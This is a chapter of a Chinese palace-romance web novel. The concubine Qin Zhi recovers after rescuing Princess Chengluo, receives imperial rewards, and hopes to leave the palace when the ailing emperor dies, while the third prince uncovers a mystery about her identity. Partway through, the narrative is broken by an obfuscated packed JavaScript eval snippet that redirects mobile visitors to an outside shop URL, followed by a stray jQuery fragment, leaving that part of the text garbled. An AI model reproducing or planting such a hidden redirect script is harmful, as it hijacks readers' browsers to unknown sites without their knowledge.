秦芝在做一场光怪陆离的大梦。
梦中母亲未过世,她与母亲一同生活在西南小镇。
每日晨间,秦芝去医馆行医,医馆迎接着前来诊病的邻里街坊,傍晚她踏着淡粉的晚霞归家。
而简朴小家的篱笆木门前,站着的母亲笑语盈盈地望着走向家门的她。
两人吃着母亲做的粗茶淡饭,也是秦芝吃过最美味的珍馐。
吃饭时,秦芝手舞足蹈地给母亲讲着当日医馆发生的趣事,而母亲只温柔地倾听,时不时给讲得入迷的秦芝夹菜,假意斥责她不好好用饭,却又忍不住笑出来。
傍晚安然入睡时,眼前的一切却陷入漆黑,扭曲而张牙舞爪地向秦芝袭来。
——她猛地睁眼,眼前不是粗糙的农家麻布帐子,而是精致奢靡的绸纱床帐。
她在宫中。
周遭的一切都在提醒她,方才美好的一切,只不过是一场荒唐大梦。
她眨着眼眸,两颊边唯有凉意,抬手拭去颊上的泪痕。
她的手腕上仍然松松挂着母亲的佛珠。
顿时,一阵侥幸涌上心头,跳水救人时情况太紧急,她未脱下佛珠,幸而没有弄丢。
“小姐,你醒了!”
小井惊喜地扑到床边,用手探着秦芝的额头,嘴中嘟嘟囔囔:“太好了,终于退热了。”
“现在什么时辰了。”秦芝皱着眉头,挣扎坐起。
窗外阳光透过窗棂打入房内,一片大亮,显而易见,此刻并非傍晚。
小井用手托着秦芝后背,说道:“小姐,已经午时了。”
“午时?”秦芝惊诧道,“我已经昏迷快九个时辰了?”
她救人时是黄昏,现在却已经是第二日的正午。
小井点点头。
“我救的那个妃嫔如何?”
“没有人认识那女子是谁,所以也无从知晓她的状况,”小井回答,“不过,小姐当时已经将她胸中积水迫出,宫中太医医术必然精湛,想必应当无事。”
秦芝点点头。
“小姐,你不该那样冲动,若你真的…让我怎么办,让夫人怎么办。”小井的包子脸紧紧皱起。
“小井,我知道了,”秦芝笑着讨饶,“我好饿,想吃些东西。”
看着面前小姐嬉皮笑脸的神色,小井知道秦芝压根没听进去,无奈地叹口气,匆匆走出去。
不一会,小舒跟在小井后面走进来。
“才人,这是我和小盐做的药膳,您现在体虚,正要大补。”小舒说。
一阵香气袭来。
漆盘上,木碗内是一碗汤羹,其中漂浮着枸杞、参片,和几味滋补药材,以及大块肥美鱼肉,汤色金黄浓稠,却闻不到药材味道,只有鱼的鲜香。
“好鲜!顶级老饕来了都会赞不绝口。”秦芝眯着眼品尝着汤羹。
小盐只是嘿嘿笑着,却没说话。
而小舒一向滔滔不绝,今日却安静地吓人。
秦芝下意识抬头看眼前两人,看到小舒的表情后瞬间顿住。
此刻,小舒两眼放光看着秦芝,秦芝抬头后她迅速低头躲闪,偷偷瞄几眼秦芝,却难掩眼中光芒。
这场面有些好笑,秦芝无奈笑问:“怎么了?”
小舒支支吾吾地说:“我就是觉得,您实在厉害,居然敢跳水施救,还能救活溺水之人,在宫中,我从未见过您这种厉害女子。”
秦芝好笑道:“你年岁这么小,见过几个人,厉害的女子可多了,我家乡有位开医馆的吴娘子,可是救活了无数人,远的不说,宫中尚医局也有女医官,那些人不也很厉害么?”
听到秦芝所说,小舒懵懂点头,努力理解着秦芝的话语。
过了一会,小舒甩甩头,笑得眉眼弯弯:“不过我不认识您所说吴娘子,也不认识尚医局女官,我就认识您,所以您还是我心中最厉害之人。”
秦芝无奈笑着默认下来,无论如何,被人崇拜的感觉还不错。
“才人,门外有人求见,似是有——赏赐?”小盐手中抱着茶壶,站在门口喊道。
“赏赐?”秦芝一头雾水,“让他进来。”
是一位高品级宦侍,不过秦芝入宫不久,不知此人是何职位。
秦芝下意识起身。
“秦才人快快躺下,洒家可经不起您的礼,”这宦侍天生一副笑脸,眼带精明,却不让人讨厌,“为嘉奖您救下成罗公主,陛下特地赏您东西。”
宦侍摆摆手,浩浩荡荡一群人端着大大小小的木盒走进来,挤在狭小的素念阁中,放下手中赏赐。
“那洒家就不打扰才人休息了,才人就好好养病吧。”宦侍俯身走出去。
待人走光,素念阁才恢复往日安宁。
四人面面相觑。
“才人,您救的是成罗公主?”小舒瞪大双眼,开口打破平静。
秦芝苦笑:“显而易见。”
“您救下成罗公主,不开心么?陛下赏您这些好东西,应当也注意到您了。”小盐问道。
这其中缘由,秦芝也不好明说,只好再度苦笑。
她一直想拼命降低自己的存在感,不想去争宠,也不想和一个不熟悉的男人有什么瓜葛。
那女孩能活下来,她很开心,可谁成想会是一位公主,这下,让老皇帝不注意到她也难。
当然,如果再来一次,她照样会毫不犹豫地下水救人。
只是——
唉,秦芝心中有苦说不出。
小井知道自家小姐心中所想,却也没有办法,只好问道:“小舒,你知道这位成罗公主是谁吗?”
小舒得意一笑:“我当然知道,这成罗公主年纪十二岁,是陛下曾经最宠爱的明妃所出,可惜明妃体弱多病,仙逝得早,成罗公主便独自在锦安宫长大,自小被与明妃交好的贵妃照拂,和贵妃生养的太子倒是亲近,不过——”
三人都看向故意卖关子的小舒。
“成罗公主也继承了明妃的体弱,自小寒病不断,甚少出锦安宫,罕有人知其长相,所以昨日,所有人都误以为她是什么不受宠的妃嫔,也是情有可原。”
越听小舒说话,秦芝越觉得危险逼近,绝望扶额。
“才人,被陛下注意到不好吗。”小舒也好奇起来。
“宫中危险丛生,我只想在素念阁孤独终老。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706915|208337||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小舒笑道:“您想在素念阁过一辈子怕是都不行。”
“此话怎讲?”秦芝问道。
小舒压低声音:“陛下身体不好,虽说万岁万万岁,但也是肉体凡胎,何时龙体殡天也说不准,届时新皇登基,您还能在宫嫔居处安然住着么?”
秦芝:“那到时候,现在的这些宫嫔怎么办。”
“有公主的在宫中颐养天年,有皇子的跟着受封的皇子去封地呆着,至于无子嗣的年轻妃嫔,应当是被放出皇宫吧。”小舒回答。
一种突如其来的惊喜直涌向秦芝的天灵盖。
“真的?!”秦芝眼中有抑制不住的喜意。
小舒也被秦芝的笑容感染到,不自觉笑说:“真的。”
“我还没见过像才人您这样的妃嫔呢,别人都爱天家富贵,独您想逃出宫去。”
秦芝并未回答,而是沉浸在这个从天而降的好消息中。
原本,她以为自己要在这寂寞深宫中老死,可如今却得知,皇帝殡天后,无子嗣的嫔妃便可离宫。
老皇帝身体不好,驾崩只是或早或晚的事情,她才十六岁,难道等不到那一天么?
虽说现如今国运昌隆,这般期盼天子有恙不好,但是生死祸福是苍天所定,总不能怪她私底下的念想。
“不过,现在三皇子和太子如此剑拔弩张,到时候夺嫡之争怕会极为激烈。”小舒的话闯入秦芝脑中。
秦芝不解:“可太子不已经是嫡子?”
小舒故弄玄虚:“太子是太子,却并非嫡子,和三皇子一样,同样为妃子所出,只不过三皇子母亲是曾经的江昭仪,而太子之母是更为尊贵的贵妃罢了。”
秦芝脑中突然闪过小舒前几日所说的三皇子刺杀之事,恍然大悟:“所以,三皇子被刺杀,是被太子——”
小舒手指放在唇前,作嘘状。
按理说,太子已经被封,且母亲地位尊贵,如今出身不显的三皇子却能与其分庭抗礼,要么是三皇子能力实在出众,要么是老皇帝想要让两人相争,平衡势力。
当然,最有可能是两者皆而有之。
老皇帝这招,让秦芝想起来苗疆的养蛊,将两只蛊王放入同一只草笼,直到决出最强蛊王。
秦芝啧啧感叹,生于皇家也不是什么好事。
与此同时,素念阁的话题中心——三皇子正在自己的寝宫中听着属下汇报。
宋煜倚着蒲团,手肘撑在面前的金丝楠木方桌上,右手扶额,青丝垂落,微眯着双眼,雍容无双。
“你是说,那位救成罗的秦才人,名叫秦芝,是扬州府泰州县县丞秦元德的嫡长女?”宋煜睁开微眯的风眼,被这消息气得失笑。
江衍看到眼前主子的模样,就知他要发疯,不敢抬头,只是轻点头默认。
“你却说秦元德的嫡长女秦芝已经被你们安然送到了黔南?”宋煜又转向阶下另一位拱手禀报的黑衣下属。
这位黑衣下属丈二和尚摸不着头脑,只能模仿江衍默默点头。
宋煜嗤笑一声,凌厉的眼神落到黑衣下属脸上,似乎在观察什么,顷刻,薄唇一勾:“我竟不知,秦元德那老匹夫能有叫两个秦芝的女儿。”